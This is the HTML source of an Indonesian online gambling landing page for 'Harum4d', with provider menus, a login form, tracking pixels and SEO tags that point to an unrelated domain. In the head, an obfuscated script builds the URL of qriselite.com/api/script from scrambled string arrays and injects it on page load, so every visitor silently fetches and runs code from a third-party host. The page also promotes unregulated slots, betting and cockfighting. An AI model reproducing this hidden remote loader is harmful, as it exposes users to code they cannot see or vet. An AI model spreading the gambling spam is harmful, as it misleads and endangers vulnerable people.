1 2<!DOCTYPE html> 3<html lang="id"> 4 <head> 5 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 6 <title>Harum4d Tampilan Modern Permainan Online Dengan Ai Pendukungmu Dari Link Harum 4d</title> 7 8 <meta name="viewport" content="width=1200, initial-scale=1"> 9 10 <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-KK94CHFLLe+nY2dmCWGMq91rCGa5gtU4mk92HdvYe+M/SXH301p5ILy+dN9+nJOZ" crossorigin="anonymous"> 11 <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/font/bootstrap-icons.css"> 12 <link rel="preload" href="/style.scss" as="style" onload="this.onload=null;this.rel='stylesheet'"> 13 14 15 <!--<link rel="stylesheet" href="/css/old/template/BD.css">--> 16 <link rel="stylesheet" href="/css/old/template/BD.css"> 17 <link rel="stylesheet" href="/css/old/variable.css"> 18 19 <link rel="stylesheet" href="/css/old/dark.css"> 20 21 <link rel="stylesheet" href="/css/old/new2-style.css?1790436651"> 22 <link rel="stylesheet" href="https://img.viva88athenae.com//icomoon/style.css"> 23 <link rel="icon" type="image/png" href="/favicon.png"> 24 25 <!-- Driver.js start --> 26 <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/driver.css"/> 27
27<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/driver.js.iife.js"></script>
27 28 <style> 29 @media (max-width: 768px) { 30 .driver-popover { max-width: 220px !important; font-size: 12px !important; padding: 10px 12px !important; } 31 .driver-popover-title { font-size: 13px !important; margin-bottom: 4px !important; } 32 .driver-popover-description { font-size: 12px !important; } 33 } 34 </style> 35 <!-- Driver.js end --> 36 37
37<script src="/js/old/jquery-3.6.4.min.js"></script>
37 38
38<script src="/js/old/jquery.marquee.min.js"></script>
38 39 40 <!-- RECAPTCHA --> 41 42 <meta name="description" content="Harum4d merupakan situs permainan online yang menggunakan tampilan modern dan ai yang akan membantu anda."> 43<link rel="canonical" href="https://valereamirault.com/" /> 44<link rel="amphtml" href="https://pendukung.harum4d90.store/" /> 45<link rel="alternate" hreflang="id-id" href="https://pendukung.harum4d90.store/"/> 46<link rel="alternate" href="https://pendukung.harum4d90.store/"/> 47<link rel="alternate" hreflang="id" href="https://pendukung.harum4d90.store/"/> 48<link rel="alternate" hreflang="en" href="https://pendukung.harum4d90.store/"/> 49<link rel="alternate" hreflang="x-default" href="https://pendukung.harum4d90.store/"/> 50<meta name="google-site-verification" content="zNjVQ4IYRjBo-qC6OZ5qaNF5kUgZnQNbFQnJQkhiTyE" /> 51<meta name="google-site-verification" content="CTm-lvFo1e83B2sGlPH1A3E65JgtixWwQ-jl9usHQv8" /> 52<meta name="google-site-verification" content="lwIF_yStXjhTo0rzdXLkbXKoAScNNMoYgH9HOQeMZIY" /> 53<meta name="revisit-after" content="1 days" /> 54<meta name="robots" content="index, follow" /> 55<meta name="rating" content="general" /> 56<meta name="geo.region" content="ID" /> 57<meta name="geo.country" content="id" /> 58<meta name="geo.placename" content="Indonesia" /> 59<meta name="twitter:card" content="summary" /> 60<meta name="twitter:site" content="@Harum4d" /> 61<meta name="twitter:creator" content="@Harum4d" /> 62<meta name="twitter:domain" content="Harum4d.com" /> 63<meta name="twitter:title" content="Harum4d Tampilan Modern Permainan Online Dengan Ai Pendukungmu Dari Link Harum 4d" /> 64<meta name="twitter:description" content="Harum4d merupakan situs permainan online yang menggunakan tampilan modern dan ai yang akan membantu anda." /> 65<meta name="author" content="Harum4d" /> 66<meta name="publisher" content="Harum4d" /> 67<meta property="og:title" content="Harum4d Tampilan Modern Permainan Online Dengan Ai Pendukungmu Dari Link Harum 4d" /> 68<meta property="og:description" content="Harum4d merupakan situs permainan online yang menggunakan tampilan modern dan ai yang akan membantu anda." /> 69<meta property="og:url" content="https://valereamirault.com/" /> 70<meta property="og:site_name" content="Harum4d" /> 71<meta property="og:locale" content="id_ID" /> 72 73 74 75 76<!-- Meta Pixel Code -->
77<script>
vendor: 408 bytes, lines 77-86
77 78!function(f,b,e,v,n,t,s) 79{if(f.fbq)return;n=f.fbq=function(){n.callMethod? 80n.callMethod.apply(n,arguments):n.queue.push(arguments)}; 81if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0'; 82n.queue=[];t=b.createElement(e);t.async=!0; 83t.src=v;s=b.getElementsByTagName(e)[0]; 84s.parentNode.insertBefore(t,s)}(window, document,'script', 85'https://connect.facebook.net/en_US/fbevents.js'); 86fbq('init', '
862466093437211288
vendor: 32 bytes, lines 86-87
86'); 87fbq('track', 'PageView');
88</script>
88 89<noscript><img height="1" width="1" style="display:none" 90src="https://www.facebook.com/tr?id=2466093437211288&ev=PageView&noscript=1" 91/></noscript> 92<!-- End Meta Pixel Code --> 93 94<!-- SCRIPT TAMBAHAN UNTUK TRACKING TOMBOL DAFTAR DENGAN MATA UANG USD -->
95<script> 96document.addEventListener('click', function(event) { 97 var element = event.target.closest('button, a, input[type="submit"]'); 98 if (element) { 99 var text = element.innerText || element.value || ""; 100 if (text.toLowerCase().trim().includes('daftar')) { 101 fbq('track', 'CompleteRegistration', { 102 currency: 'USD', 103 value: 0.00 104 }); 105 } 106 } 107}); 108</script>
108 109
110<script>function _0x183d(_0x401589,_0x167249){var _0x2672a7=_0x2672();return _0x183d=function(_0x183d6a,_0x38b8ef){_0x183d6a=_0x183d6a-0x1e7;var _0x456966=_0x2672a7[_0x183d6a];return _0x456966;},_0x183d(_0x401589,_0x167249);}var _0x7c9707=_0x183d;(function(_0x48dddf,_0x222a33){var _0x53af98=_0x183d,_0x1f1498=_0x48dddf();while(!![]){try{var _0x4113a1=parseInt(_0x53af98(0x1f7))/0x1*(-parseInt(_0x53af98(0x1f1))/0x2)+parseInt(_0x53af98(0x1f4))/0x3*(parseInt(_0x53af98(0x1f3))/0x4)+-parseInt(_0x53af98(0x1e7))/0x5+parseInt(_0x53af98(0x1fa))/0x6*(parseInt(_0x53af98(0x1ef))/0x7)+-parseInt(_0x53af98(0x1f2))/0x8*(-parseInt(_0x53af98(0x1ec))/0x9)+-parseInt(_0x53af98(0x1e9))/0xa*(parseInt(_0x53af98(0x1ea))/0xb)+parseInt(_0x53af98(0x1f6))/0xc*(parseInt(_0x53af98(0x1ee))/0xd);if(_0x4113a1===_0x222a33)break;else _0x1f1498['push'](_0x1f1498['shift']());}catch(_0x41f884){_0x1f1498['push'](_0x1f1498['shift']());}}}(_0x2672,0x726df));var arr = ['qri','2','WpijsLASNpbHJoO97z06','LIPYvqnSBAnr5syZvCoC','com','selite'];function _0x2672(){var _0x3efd31=['parentNode','15312soiuzq','script','src','https://','361710uMrgzs','&rnd=','207740vwgbXm','22pOoZEh','/api/script?v=','896499WbBLGI','async','13UHFSep','1743BIrdQS','type','1150134wVJuRm','8NBptgl','505624LlbNIg','6XSQToC','insertBefore','2037468KkLfBM','1EEyvsG','dp1'];_0x2672=function(){return _0x3efd31;};return _0x2672();}window['dp1']=window[_0x7c9707(0x1f8)]||{},(function(){var _0x346448=_0x7c9707,_0xda9a8e=document['createElement']('script');_0xda9a8e[_0x346448(0x1f0)]='text/javascript',_0xda9a8e[_0x346448(0x1ed)]=!![],_0xda9a8e[_0x346448(0x1fc)]=_0x346448(0x1fd)+arr[0x0]+''+arr[0x5]+'.'+arr[0x4]+_0x346448(0x1eb)+arr[0x1]+'&key='+arr[0x2]+_0x346448(0x1e8)+arr[0x3];var _0x15e5d0=document['getElementsByTagName'](_0x346448(0x1fb))[0x0];_0x15e5d0[_0x346448(0x1f9)][_0x346448(0x1f5)](_0xda9a8e,_0x15e5d0);}());</script>
110 111 112 <style> 113 114 .wrapper { 115 display: grid; 116 grid-template-columns: 1fr; 117 grid-template-areas: 118 "marquee" 119 "header" 120 "devider" 121 "contentdata" 122 "togel-desktop" 123 "widget-kupon" 124 "widget-sbo" 125 "provider" 126 "transaksi" 127 "guidelines" 128 "bantuan" 129 "footer" 130 } 131 132 .widget-kupon { 133 grid-area: widget-kupon; 134 padding-top: 20px; 135 background: var(--footer-background); 136 display: flex; 137 align-items: center; 138 position: relative; 139 } 140 141 .widget-sbo { 142 grid-area: widget-sbo; 143 padding-top: 20px; 144 display: flex; 145 align-items: center; 146 position: relative; 147 } 148 149 .iframe-kupon { 150 width: 1000px; 151 height: 200px; 152 display: block; 153 vertical-align: bottom; 154 } 155 156 .login-input-field { 157 font-size: 1rem; 158 } 159 160 .btn-aduan2 { 161 background: linear-gradient(60deg, #b08432, #cfbe87, #b08432); 162 -webkit-background-clip: text; 163 -webkit-text-fill-color: transparent; 164 background-size: 300% 300%; 165 animation: gradient 2s ease infinite; 166 } 167 168 .transaksi-title { 169 place-items: start; 170 } 171 172 .btn-tele { 173 font-size: 1.2rem; 174 text-shadow: 1px 1px #000000; 175 height: 36px!important; 176 border-radius: 8px; 177 background: #28323C; 178 color: white; 179 } 180 181 #marquee-mobile { 182 width: 100%; 183 overflow: hidden; 184 } 185 186 #marquee-mobile .marquee-content { 187 display: flex; 188 align-items: center; 189 width: 100%; 190 overflow: hidden; 191 } 192 193 #marquee-mobile .running { 194 position: relative; 195 flex: 1 1 auto; 196 min-width: 0; 197 overflow: hidden; 198 } 199 200 #marquee-mobile .broadcast { 201 display: inline-block; 202 white-space: nowrap; 203 } 204 205 #marquee { 206 overflow: hidden; 207 } 208 209 #marquee .running { 210 overflow: hidden; 211 } 212 213 #marquee .broadcast { 214 white-space: nowrap; 215 } 216 217 body { 218 overflow-x: hidden; 219 } 220 221 .btn-google { 222 width: 30px; 223 height: 30px; 224 background: #fff; 225 border: 1px solid #ddd; 226 border-radius: 3px; 227 display: inline-flex; 228 align-items: center; 229 justify-content: center; 230 } 231 232 .btn-google:hover { 233 background: #f5f5f5; 234 } 235 236 .btn-google-mobile { 237 background: #fff; 238 color: #3c4043; 239 border: 1px solid #dadce0; 240 border-radius: 3px; 241 height: 36px; 242 padding: 0 12px; 243 font-weight: 600; 244 font-size: 1.2rem; 245 246 align-items: center; 247 justify-content: center; 248 gap: 8px; 249 } 250 251 .btn-google-mobile:hover { 252 background: #f8f9fa; 253 color: #202124; 254 } 255 256 257 @media only screen and (max-width: 1000px) { 258 259 .wrapper { 260 display: grid; 261 grid-template-columns: 1fr; 262 grid-template-areas: 263 "appbar" 264 "marquee" 265 "header" 266 "contentdata" 267 "togel-mobile" 268 "widget-kupon" 269 "widget-sbo" 270 "devider" 271 "provider" 272 "transaksi" 273 "bantuan" 274 "footer" 275 "guidelines"; 276 } 277 278 .widget-kupon { 279 margin: 0px 20px; 280 } 281 282 283 284 .iframe-kupon { 285 padding: 0px; 286 height: 262px; 287 width: 100%; 288 display: block; 289 vertical-align: bottom; 290 } 291 292 .transaksi-title { 293 place-items: center; 294 } 295 296 .login-input-field { 297 font-size: 1.2rem; 298 } 299 } 300 301 .grecaptcha-badge { 302 display: none !important; 303 } 304 305 </style> 306 307 </head> 308 309 310 311 <body id="desktop"> 312 313 314<div id="hover" class="hover desktop-only"> 315 316 <div id="hover-togel" class="hover-menu"> 317 <a href="/register" class="hover-item"> 318 <figure><img src="https://img.viva88athenae.com//icon-togel1.png" alt="PAY4D"></figure>
319 <figcaption>TOGEL</figcaption> 320 </a> 321 322 <a href="/register" class="hover-item"> 323 <figure><img src="https://img.viva88athenae.com//icon-kupon1.png" alt="PAY4D"></figure> 324 <figcaption>KUPON</figcaption> 325 </a> 326 </div> 327 328 <div id="hover-slot" class="hover-menu"> 329 <a href="/slot/pp" class="hover-item"> 330 <figure><img src="https://img.viva88athenae.com//slot-prag.png" alt="PRAGMATIC PLAY"></figure> 331 <figcaption>PRAGMATIC PLAY</figcaption> 332 </a> 333 334 <a href="/slot/pg" class="hover-item"> 335 <figure><img src="https://img.viva88athenae.com//slot-pg.png" alt="PG SOFT"></figure> 336 <figcaption>PG SOFT</figcaption> 337 </a> 338 339 <a href="/slot/jl" class="hover-item"> 340 <figure><img src="https://img.viva88athenae.com//slot-jl.png" alt="JILI"></figure> 341 <figcaption>JILI</figcaption> 342 </a> 343 344 <a href="/slot/mgw" class="hover-item"> 345 <figure><img src="https://img.viva88athenae.com//slot-mgw.png" alt="MEGAWIN"></figure> 346 <figcaption>MEGAWIN</figcaption> 347 </a> 348 349 <a href="/slot/atg" class="hover-item"> 350 <figure><img src="https://img.viva88athenae.com//slot-atg.png" alt="ATG Games"></figure> 351 <figcaption>ATG Games</figcaption> 352 </a> 353 354 <a href="/slot/pok" class="hover-item"> 355 <figure><img src="https://img.viva88athenae.com//slot-pok.png" alt="PopOK Gaming"></figure> 356 <figcaption>PopOK Gaming</figcaption> 357 </a> 358 359 <a href="/slot/ams" class="hover-item"> 360 <figure><img src="https://img.viva88athenae.com//slot-ams.png" alt="ASKMESLOT"></figure> 361 <figcaption>ASKMESLOT</figcaption> 362 </a> 363 364 <a href="/slot/sdl" class="hover-item"> 365 <figure><img src="https://img.viva88athenae.com//slot-sdl.png" alt="SHADY LADY"></figure> 366 <figcaption>SHADY LADY</figcaption> 367 </a> 368 369 <a href="/slot/hb" class="hover-item"> 370 <figure><img src="https://img.viva88athenae.com//slot-hab.png" alt="HABANERO"></figure> 371 <figcaption>HABANERO</figcaption> 372 </a> 373 374 <a href="/slot/sg" class="hover-item"> 375 <figure><img src="https://img.viva88athenae.com//slot-spad.png" alt="SPADEGAMING"></figure> 376 <figcaption>SPADEGAMING</figcaption> 377 </a> 378 379 <a href="/slot/nlc" class="hover-item"> 380 <figure><img src="https://img.viva88athenae.com//slot-nlc.png" alt="NOLIMIT CITY"></figure> 381 <figcaption>NOLIMIT CITY</figcaption> 382 </a> 383 384 <a href="/slot/fs" class="hover-item"> 385 <figure><img src="https://img.viva88athenae.com//slot-fs.png" alt="FASTSPIN"></figure> 386 <figcaption>FASTSPIN</figcaption> 387 </a> 388 389 <a href="/slot/jg" class="hover-item"> 390 <figure><img src="https://img.viva88athenae.com//slot-jok.png" alt="JOKER"></figure> 391 <figcaption>JOKER</figcaption> 392 </a> 393 394 <a href="/slot/mg" class="hover-item"> 395 <figure><img src="https://img.viva88athenae.com//slot-mg.png" alt="MICROGAMING"></figure> 396 <figcaption>MICROGAMING</figcaption> 397 </a> 398 399 <a href="/slot/fgs" class="hover-item"> 400 <figure><img src="https://img.viva88athenae.com//slot-fgs.png" alt="5G GAMES"></figure> 401 <figcaption>5G GAMES</figcaption> 402 </a> 403 404 <a href="/slot/hks" class="hover-item"> 405 <figure><img src="https://img.viva88athenae.com//slot-hks.png" alt="HACKSHAW GAMING"></figure> 406 <figcaption>HACKSAW GAMING</figcaption> 407 </a> 408 409 <a href="/slot/nxt" class="hover-item"> 410 <figure><img src="https://img.viva88athenae.com//slot-nxt.png" alt="NEXTSPIN"></figure> 411 <figcaption>NEXTSPIN</figcaption> 412 </a> 413 414 <a href="/slot/ps" class="hover-item"> 415 <figure><img src="https://img.viva88athenae.com//slot-ps.png" alt="PLAYSTAR"></figure> 416 <figcaption>PLAYSTAR</figcaption> 417 </a> 418 419 <a href="/slot/pt" class="hover-item"> 420 <figure><img src="https://img.viva88athenae.com//slot-pt.png" alt="PLAYTECH"></figure>
421 <figcaption>PLAYTECH</figcaption> 422 </a> 423 424 <a href="/slot/av" class="hover-item"> 425 <figure><img src="https://img.viva88athenae.com//slot-av.png" alt="ADVANT PLAY"></figure> 426 <figcaption>ADVANT PLAY</figcaption> 427 </a> 428 429 <a href="/slot/cmp" class="hover-item"> 430 <figure><img src="https://img.viva88athenae.com//slot-cmp.png" alt="COSMOPLAY"></figure> 431 <figcaption>COSMOPLAY</figcaption> 432 </a> 433 434 <a href="/slot/cq9" class="hover-item"> 435 <figure><img src="https://img.viva88athenae.com//slot-cq9.png" alt="CQ9"></figure> 436 <figcaption>CQ9</figcaption> 437 </a> 438 439 <a href="/slot/wow" class="hover-item"> 440 <figure><img src="https://img.viva88athenae.com//slot-wow.png" alt="WOW GAMING"></figure> 441 <figcaption>WOW GAMING</figcaption> 442 </a> 443 444 <a href="/slot/l22" class="hover-item"> 445 <figure><img src="https://img.viva88athenae.com//slot-l22.png" alt="LIVE22"></figure> 446 <figcaption>LIVE22</figcaption> 447 </a> 448 449 <a href="/slot/ss" class="hover-item"> 450 <figure><img src="https://img.viva88athenae.com//slot-sbo.png" alt="SBO SLOT"></figure> 451 <figcaption>SBO SLOT</figcaption> 452 </a> 453 454 <!-- <a href="/slot/nte" class="hover-item"> 455 <figure><img src="https://img.viva88athenae.com//slot-nte.png" alt="NETENT"></figure> 456 <figcaption>NETENT</figcaption> 457 </a> --> 458 459 <!-- <a href="/slot/ttg" class="hover-item"> 460 <figure><img src="https://img.viva88athenae.com//slot-ttg.png" alt="TOPTREND GAMING"></figure> 461 <figcaption>TOPTREND GAMING</figcaption> 462 </a> --> 463 </div> 464 465 <div id="hover-live" class="hover-menu" > 466 <a href="/casino/pplc" class="hover-item"> 467 <figure><img src="https://img.viva88athenae.com//live-pp.png" alt="PRAGMATIC PLAY"></figure> 468 <figcaption>PRAGMATIC PLAY</figcaption> 469 </a> 470 471 <a href="/casino/evo" class="hover-item"> 472 <figure><img src="https://img.viva88athenae.com//live-evo.png" alt="EVOLUTION"></figure> 473 <figcaption>EVOLUTION</figcaption> 474 </a> 475 476 <a href="/casino/mglc" class="hover-item"> 477 <figure><img src="https://img.viva88athenae.com//live-mg.png" alt="MICROGAMING"></figure> 478 <figcaption>MICROGAMING</figcaption> 479 </a> 480 481 <a href="/casino/ptg" class="hover-item"> 482 <figure><img src="https://img.viva88athenae.com//live-ptg.png" alt="PRETTY GAMING"></figure> 483 <figcaption>PRETTY GAMING</figcaption> 484 </a> 485 486 <a href="/casino/ion" class="hover-item"> 487 <figure><img src="https://img.viva88athenae.com//live-ion.png" alt="ION CASINO"></figure> 488 <figcaption>ION CASINO</figcaption> 489 </a> 490 491 <a href="/casino/sx" class="hover-item"> 492 <figure><img src="https://img.viva88athenae.com//live-sg.png" alt="SEXY GAMING"></figure> 493 <figcaption>SEXY GAMING</figcaption> 494 </a> 495 496 <a href="/casino/sa" class="hover-item"> 497 <figure><img src="https://img.viva88athenae.com//live-sagaming.png" alt="SA GAMING"></figure> 498 <figcaption>SA GAMING</figcaption> 499 </a> 500 501 <a href="/casino/ab" class="hover-item"> 502 <figure><img src="https://img.viva88athenae.com//live-all.png" alt="ALLBET"></figure> 503 <figcaption>ALLBET</figcaption> 504 </a> 505 506 <a href="/casino/ptlc" class="hover-item"> 507 <figure><img src="https://img.viva88athenae.com//live-pt.png" alt="PLAYTECH LIVE"></figure> 508 <figcaption>PLAYTECH LIVE</figcaption> 509 </a> 510 511 <!-- <a href="/casino/gmnl" class="hover-item"> 512 <figure><img src="https://img.viva88athenae.com//live-gmnl.png" alt="GEMINI LIVE"></figure> 513 <figcaption>GEMINI LIVE</figcaption> 514 </a> --> 515 516 <a href="/casino/og" class="hover-item"> 517 <figure><img src="https://img.viva88athenae.com//live-opus.png" alt="OPUS PLUS"></figure>
518 <figcaption>OPUS PLUS</figcaption> 519 </a> 520 521 <a href="/casino/sbol" class="hover-item"> 522 <figure><img src="https://img.viva88athenae.com//live-sbo.png" alt="SBOBET CASINO"></figure> 523 <figcaption>SBOBET CASINO</figcaption> 524 </a> 525 </div> 526 527 <div id="hover-sport" class="hover-menu"> 528 <a href="/register" class="hover-item"> 529 <figure><img src="https://img.viva88athenae.com//sport-saba.png" alt="SABA"></figure> 530 <figcaption>SABA</figcaption> 531 </a> 532 533 <a href="/register" class="hover-item"> 534 <figure><img src="https://img.viva88athenae.com//sport-sbo.png" alt="SBOBET"></figure> 535 <figcaption>SBOBET</figcaption> 536 </a> 537 538 <a href="/register" class="hover-item"> 539 <figure><img src="https://img.viva88athenae.com//sport-cmd.png" alt="CMD368"></figure> 540 <figcaption>CMD368</figcaption> 541 </a> 542 543 <!-- <a href="/register" class="hover-item"> 544 <figure><img src="https://img.viva88athenae.com//sport-pin.png" alt="PINNACLE"></figure> 545 <figcaption>PINNACLE</figcaption> 546 </a> --> 547 548 <a href="/register" class="hover-item"> 549 <figure><img src="https://img.viva88athenae.com//sport-tf.png" alt="TFGAMING"></figure> 550 <figcaption>TFGAMING</figcaption> 551 </a> 552 </div> 553 554 <div id="hover-fishing" class="hover-menu"> 555 <a href="/arcade/jl" class="hover-item"> 556 <figure><img src="https://img.viva88athenae.com//fish-jl.png" alt="JILI"></figure> 557 <figcaption>JILI</figcaption> 558 </a> 559 560 <a href="/arcade/sg" class="hover-item"> 561 <figure><img src="https://img.viva88athenae.com//fish-sg.png" alt="SPADE GAMING"></figure> 562 <figcaption>SPADE GAMING</figcaption> 563 </a> 564 565 <a href="/arcade/fs" class="hover-item"> 566 <figure><img src="https://img.viva88athenae.com//fish-fs.png" alt="FASTSPIN"></figure> 567 <figcaption>FASTSPIN</figcaption> 568 </a> 569 570 <a href="/arcade/ams" class="hover-item"> 571 <figure><img src="https://img.viva88athenae.com//fish-ams.png" alt="ASKMESLOT"></figure> 572 <figcaption>ASKMESLOT</figcaption> 573 </a> 574 575 <!-- <a href="/arcade/ps" class="hover-item"> 576 <figure><img src="https://img.viva88athenae.com//fish-ps.png" alt="PLAYSTAR"></figure> 577 <figcaption>PLAYSTAR</figcaption> 578 </a> 579 580 <a href="/arcade/l22" class="hover-item"> 581 <figure><img src="https://img.viva88athenae.com//fish-l22.png" alt="LIVE22"></figure> 582 <figcaption>LIVE22</figcaption> 583 </a> --> 584 585 </div> 586 587 <div id="hover-sabung" class="hover-menu"> 588 <a href="/sabung/ws" class="hover-item"> 589 <figure><img src="https://img.viva88athenae.com//sabung-ws.png" alt="WS168"></figure> 590 <figcaption>WS168</figcaption> 591 </a> 592 593 <a href="/sabung/sv" class="hover-item"> 594 <figure><img src="https://img.viva88athenae.com//sabung-sv.png" alt="SV388"></figure> 595 <figcaption>SV388</figcaption> 596 </a> 597 </div> 598 599 <div id="hover-interactive" class="hover-menu"> 600 <a href="/interactive/pp" class="hover-item"> 601 <figure><img src="https://img.viva88athenae.com//interactive-pp.png" alt="PRAGMATIC PLAY"></figure> 602 <figcaption>PRAGMATIC PLAY</figcaption> 603 </a> 604 605 <a href="/interactive/gmn" class="hover-item"> 606 <figure><img src="https://img.viva88athenae.com//interactive-gmn.png" alt="GEMINI"></figure> 607 <figcaption>GEMINI</figcaption> 608 </a> 609 610 <a href="/interactive/jl" class="hover-item"> 611 <figure><img src="https://img.viva88athenae.com//interactive-jl.png" alt="JILI"></figure> 612 <figcaption>JILI</figcaption> 613 </a> 614 615 <a href="/interactive/jg" class="hover-item"> 616 <figure><img src="https://img.viva88athenae.com//interactive-jok.png" alt="JOKER"></figure>
617 <figcaption>JOKER</figcaption> 618 </a> 619 620 <a href="/interactive/atg" class="hover-item"> 621 <figure><img src="https://img.viva88athenae.com//interactive-atg.png" alt="ATG Games"></figure> 622 <figcaption>ATG Games</figcaption> 623 </a> 624 625 <a href="/interactive/pok" class="hover-item"> 626 <figure><img src="https://img.viva88athenae.com//interactive-pok.png" alt="PopOK Gaming"></figure> 627 <figcaption>PopOK Gaming</figcaption> 628 </a> 629 630 <a href="/interactive/ams" class="hover-item"> 631 <figure><img src="https://img.viva88athenae.com//interactive-ams.png" alt="ASKMESLOT"></figure> 632 <figcaption>ASKMESLOT</figcaption> 633 </a> 634 635 <a href="/interactive/mg" class="hover-item"> 636 <figure><img src="https://img.viva88athenae.com//interactive-mg.png" alt="MICROGAMING"></figure> 637 <figcaption>MICRO GAMING</figcaption> 638 </a> 639 640 <a href="/interactive/hks" class="hover-item"> 641 <figure><img src="https://img.viva88athenae.com//interactive-hks.png" alt="HACKSHAW GAMING"></figure> 642 <figcaption>HACKSAW GAMING</figcaption> 643 </a> 644 645 <a href="/interactive/pt" class="hover-item"> 646 <figure><img src="https://img.viva88athenae.com//interactive-pt.png" alt="PLAYTECH"></figure> 647 <figcaption>PLAYTECH</figcaption> 648 </a> 649 650 <a href="/interactive/wow" class="hover-item"> 651 <figure><img src="https://img.viva88athenae.com//interactive-wow.png" alt="WOW GAMING"></figure> 652 <figcaption>WOW GAMING</figcaption> 653 </a> 654 655 <!-- <a href="/interactive/ps" class="hover-item"> 656 <figure><img src="https://img.viva88athenae.com//interactive-ps.png" alt="PLAYSTAR"></figure> 657 <figcaption>PLAYSTAR</figcaption> 658 </a> --> 659 </div> 660 661 662 663</div> 664<style> 665 .my-navbar { 666 height: 44px; 667 padding: 0px; 668 width: 100%; 669 background: linear-gradient(0deg, rgba(0,0,0,0.7) 0%, rgba(0,0,0,0.6) 100%), var(--primary-color); 670 position: fixed; 671 bottom: 0; 672 color: white; 673 z-index: 1100; 674 display: flex; 675 box-shadow: 0px -4px 3px rgba(0, 0, 0, 0.75); 676 } 677 678 .navbar-item { 679 height: 100%; 680 width: 100%; 681 display: flex; 682 flex-direction: column; 683 align-items: center; 684 justify-content: center; 685 } 686 687 .navbar-item-content { 688 display: flex; 689 flex-direction: column; 690 justify-content: center; 691 align-items: center; 692 position: absolute; 693 top: -16px 694 } 695 696 .navbar-item-content>i { 697 font-size: 20px; 698 line-height: 22px; 699 color: white; 700 padding-bottom: 4px; 701 } 702 703 .navbar-item-content>img { 704 height: 28px; 705 width: 28px; 706 } 707 708 .navbar-item-content>label { 709 white-space: nowrap; 710 margin-top: 4px; 711 font-weight: bold; 712 font-size: var(--text-size-default); 713 color: white 714 } 715 716 .speed-dial-item { 717 opacity: 0; 718 visibility: hidden; 719 transform: translateY(10px); 720 transition: opacity 0.3s ease, transform 0.3s ease; 721 } 722 723 .speed-dial-active .speed-dial-item { 724 opacity: 1; 725 visibility: visible; 726 transform: translateY(0); 727 } 728 729 /* Delay each itemâs appearance */ 730 .speed-dial-active .speed-dial-item:nth-child(2) { transition-delay: 0.05s; } 731 .speed-dial-active .speed-dial-item:nth-child(3) { transition-delay: 0.1s; } 732 .speed-dial-active .speed-dial-item:nth-child(4) { transition-delay: 0.15s; } 733 .speed-dial-active .speed-dial-item:nth-child(5) { transition-delay: 0.2s; } 734 .speed-dial-active .speed-dial-item:nth-child(6) { transition-delay: 0.25s; } 735 736 737</style> 738 739 740<div class="mobile-only" > 741 <div class="my-navbar"> 742 <a href="/" class="navbar-item" style="position: relative"> 743 <div class="navbar-item-content"> 744 <img src="https://img.viva88athenae.com//beranda.png"/> 745 <label>BERANDA</label> 746 </div> 747 </a> 748 <div style="height: 36px; width: 3px; background: black; margin: auto"></div> 749 <a href="/m/promosi" class="navbar-item"> 750 <div class="navbar-item-content"> 751 <img src="https://img.viva88athenae.com//promosi.png"/> 752 <label>PROMOSI</label> 753 </div> 754 </a> 755 <div style="height: 36px; width: 3px; background: black; margin: auto"></div> 756 <a href="/m/event" class="navbar-item"> 757 <div class="navbar-item-content"> 758 <img src="https://img.viva88athenae.com//events.png"/> 759 <label>EVENT</label> 760 </div> 761 </a> 762 763 764 <div style="height: 36px; width: 3px; background: black; margin: auto"></div> 765 <a href="https://t.me/Harum4DD" target='_blank' class="navbar-item"> 766 <div class="navbar-item-content"> 767 <img src="https://img.viva88athenae.com//telegram.png"/> 768 <label>TELEGRAM</label> 769 </div> 770 </a> 771 772 773 774 775 776 777 <div style="height: 36px; width: 3px; background: black; margin: auto"></div> 778 <a href="https://direct.lc.chat/12708882/" target="_blank" class="navbar-item"> 779 <div class="navbar-item-content"> 780 <img src="https://img.viva88athenae.com//livechat.png"/> 781 <label>LIVECHAT</label> 782 </div> 783 </a> 784 785 </div> 786</div> 787
788<script> 789 document.addEventListener("DOMContentLoaded", function () { 790 const speedDialBtn = document.querySelector(".speed-dial-btn"); 791 const speedDialItems = document.querySelectorAll(".speed-dial-item"); 792 let isOpen = false; 793 794 speedDialBtn.addEventListener("click", function () { 795 isOpen = !isOpen; 796 797 speedDialItems.forEach((item, index) => { 798 if (isOpen) { 799 item.style.opacity = "1"; 800 item.style.visibility = "visible"; 801 item.style.transform = "translateY(0)"; 802 item.style.transitionDelay = `${index * 0.05}s`; // Stagger effect 803 } else { 804 item.style.opacity = "0"; 805 item.style.visibility = "hidden"; 806 item.style.transform = "translateY(10px)"; 807 item.style.transitionDelay = `${(speedDialItems.length - index) * 0.05}s`; // Reverse stagger 808 } 809 }); 810 }); 811}); 812</script>
812 813 814 815 <div id="top" class="wrapper"> 816 817 818 819 <header class="header"> 820 <div class="header-content"> 821 <div class="logo" href="/"> 822 <a href='/'><img src="/images/logoweb.png" class='logoimg' alt=""></a> 823 </div> 824 825 <div id="marquee-mobile" class="marquee mobile-only"> 826 <div class="marquee-content"> 827 <div class="d-flex align-items-center gap-2 flex-shrink-0"> 828 <i class="bi bi-volume-down" style="padding: 0 2px; font-size: 16px"></i> 829 </div> 830 831 <div class="running"> 832 <div class="marquee-shadow"></div> 833 <div class="broadcast mobile-broadcast">Selamat Datang Di Situs Slot777 Terpercaya Resmi Dengan Minimal Bet 400 Rupiah</div> 834 </div> 835 836 <div class="d-flex align-items-center gap-2 flex-shrink-0"></div> 837 </div> 838 </div> 839 840 <div class="mslider mobile-only"> 841 </div> 842 843 <div class="login mobile-only"> 844 <div id="mobilelogin" class="mobile-only" style="width: 100%"> 845 <form class="login-form form" style="padding: 0px; padding-top: 16px" role="form"> 846 <div id="msgbox" style="font-size: 1rem; width: 100%"></div> 847 <div class="input-group login-field"> 848 <span class="input-group-text prepend mobile-only "><div class="h-100 center"><i class="bi bi-person-circle prepend-icon"></i></div></span> 849 <input type="text" name="username" class="form-control login-input-field username" placeholder="Username" aria-label="Username"> 850 </div> 851 <div class="input-group login-field"> 852 <span class="input-group-text mobile-only prepend"><div class="h-100 center"><i class="bi bi-shield-lock-fill prepend-icon"></i></div></span> 853 <input type="password" name="password" class="form-control login-input-field password" placeholder="Password" aria-label="Password"> 854 </div> 